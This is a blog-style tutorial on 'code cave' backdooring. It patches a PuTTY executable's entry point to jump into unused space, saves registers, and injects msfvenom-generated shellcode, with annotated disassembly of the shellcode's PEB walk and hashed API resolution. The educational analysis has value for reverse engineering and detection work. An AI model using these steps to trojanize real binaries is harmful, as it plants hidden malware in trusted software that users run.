Post

Code Cave Exoploitation

Code Cave Exoploitation

Introduction:

In this post I will explore a technique of modification and exploitation of binaries, classified as Code Cave. This technique is nothing more than the exploitation of a memory region or unused space within an executable, usually filled with null bytes (0x00) or irrelevant instructions, where an attacker can inject malicious code without significantly altering the file size.
Exploiting a Code Cave will involve locating this empty space, redirecting the program’s execution flow, and executing a shellcode.

Diagram:

alt text

Starting our exploitation:

For this test I will use a vulnerable version of the software Putty, which is a free SSH, Telnet, and serial program used to remotely access and manage servers and network devices.
To start building our exploit, I used a tool I developed, available in my GitHub repository called Code_Cave, which is a C tool to find code caves in Portable Executable (PE) files on Windows. It scans the sections of the binary and identifies “empty” byte sequences (0x00 or 0x90) that can be used to inject code.

Using it on the target binary, I got the following output:
alt text

With this, we already have a starting point for our exploit.
As previously understood, in our binary, to perform the exploit, besides finding a code cave, we need to redirect the execution flow of our executable to start creating our payload.
For this, we will debug using x32dbg.

Debug:

alt text

When we start the executable in the debugger, we land at the entry point of the application, and this is where we will make our first change in the structure. We will use an Assembly instruction so that when the execution flow starts, it makes a call to the memory address where our payload is located. For this, we will use the address discovered by my tool: 0x0046A419.

alt text

alt text

Here, the jmp instruction is being used to alter the execution flow. The address 0044777F represents the point in the code where normal execution would occur, but the jmp forces the CPU to continue execution from 0x0046A419, where our code cave is located, and later where our shellcode will be. After changing this instruction, I did a step into the set address, where we land in an empty area.

alt text

Before starting to build the payload, I introduced some instructions: pushad and pushfd. These commands serve to preserve the original program context. pushad saves all general-purpose registers on the stack, and pushfd stores the processor flags state. This way, the injected code can execute without corrupting the normal functioning of the application.

alt text

Shellcode in Assembly:

First, I generated the shellcode using msfvenom with the following instructions:
alt text

Now I will explain the shellcode in assembly, summarizing each block of instructions.

1
2
3
4
5
6
7
8
9
+ 0046A41B   cld
+ 0046A41C   pushad
+ 0046A41D   mov ebp,esp
+ 0046A41F   xor eax,eax
+ 0046A421   mov edx,dword ptr fs:[eax+30]
+ 0046A427   mov edx,dword ptr ds:[edx+C]
+ 0046A42A   mov edx,dword ptr ds:[edx+14]
+ 0046A42D   mov esi,dword ptr ds:[edx+28]
+ 0046A430   movzx ecx,word ptr ds:[edx+26]

Here it is still an environment preparation, EBP is adjusted to point to the current stack, EAX is zeroed, then there are reads from the segment fs:[…]. From there, pointers are extracted in a chain, possibly to obtain process structures.

1
2
3
4
5
6
7
+ 0046A436   xor edi,edi
+ 0046A438   cmp al,61
+ 0046A43C   jl 0046A440
+ 0046A43E   sub al,20
+ 0046A440   ror edi,D
+ 0046A443   add edi,eax
+ 0046A445   loop 0046A439

This block reads bytes from memory and transforms each of them into an accumulated value in the edi register, using bit rotation (ror) and addition. In summary, instead of storing API names like LoadLibraryA or GetProcAddress in the payload, which would make our exploit much easier to detect—it uses this calculation to identify functions at runtime, stealthily.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+ 0046A447   push edx
+ 0046A448   push edi
+ 0046A449   mov ecx,dword ptr ds:[edx+10]
+ 0046A44C   mov ecx,dword ptr ds:[edx+3C]
+ 0046A44F   mov ecx,dword ptr ds:[ecx+78]
+ 0046A452   jecxz 0046A49D
+ 0046A454   add ecx,edx
+ 0046A456   push ecx
+ 0046A457   mov ebx,dword ptr ds:[ecx+20]
+ 0046A45A   add ebx,edx
+ 0046A45C   mov ecx,dword ptr ds:[ecx+18]
+ 0046A45F   jecxz 0046A49C
+ 0046A461   dec ecx
+ 0046A462   mov esi,dword ptr ds:[ebx+ecx*4]
+ 0046A465   add esi,edx
+ 0046A467   xor edi,edi  

This block will traverse the internal structures of the PE format, accessing the header (PE Header). The purpose is to identify the addresses of functions exported by DLLs like kernel32.dll. When the hash calculated in the previous block matches that of a target function, the code already knows where it is in memory, allowing it to dynamically call critical Windows APIs.

alt text

Executing the exploit:

alt text

This post is licensed under CC BY 4.0 by the author.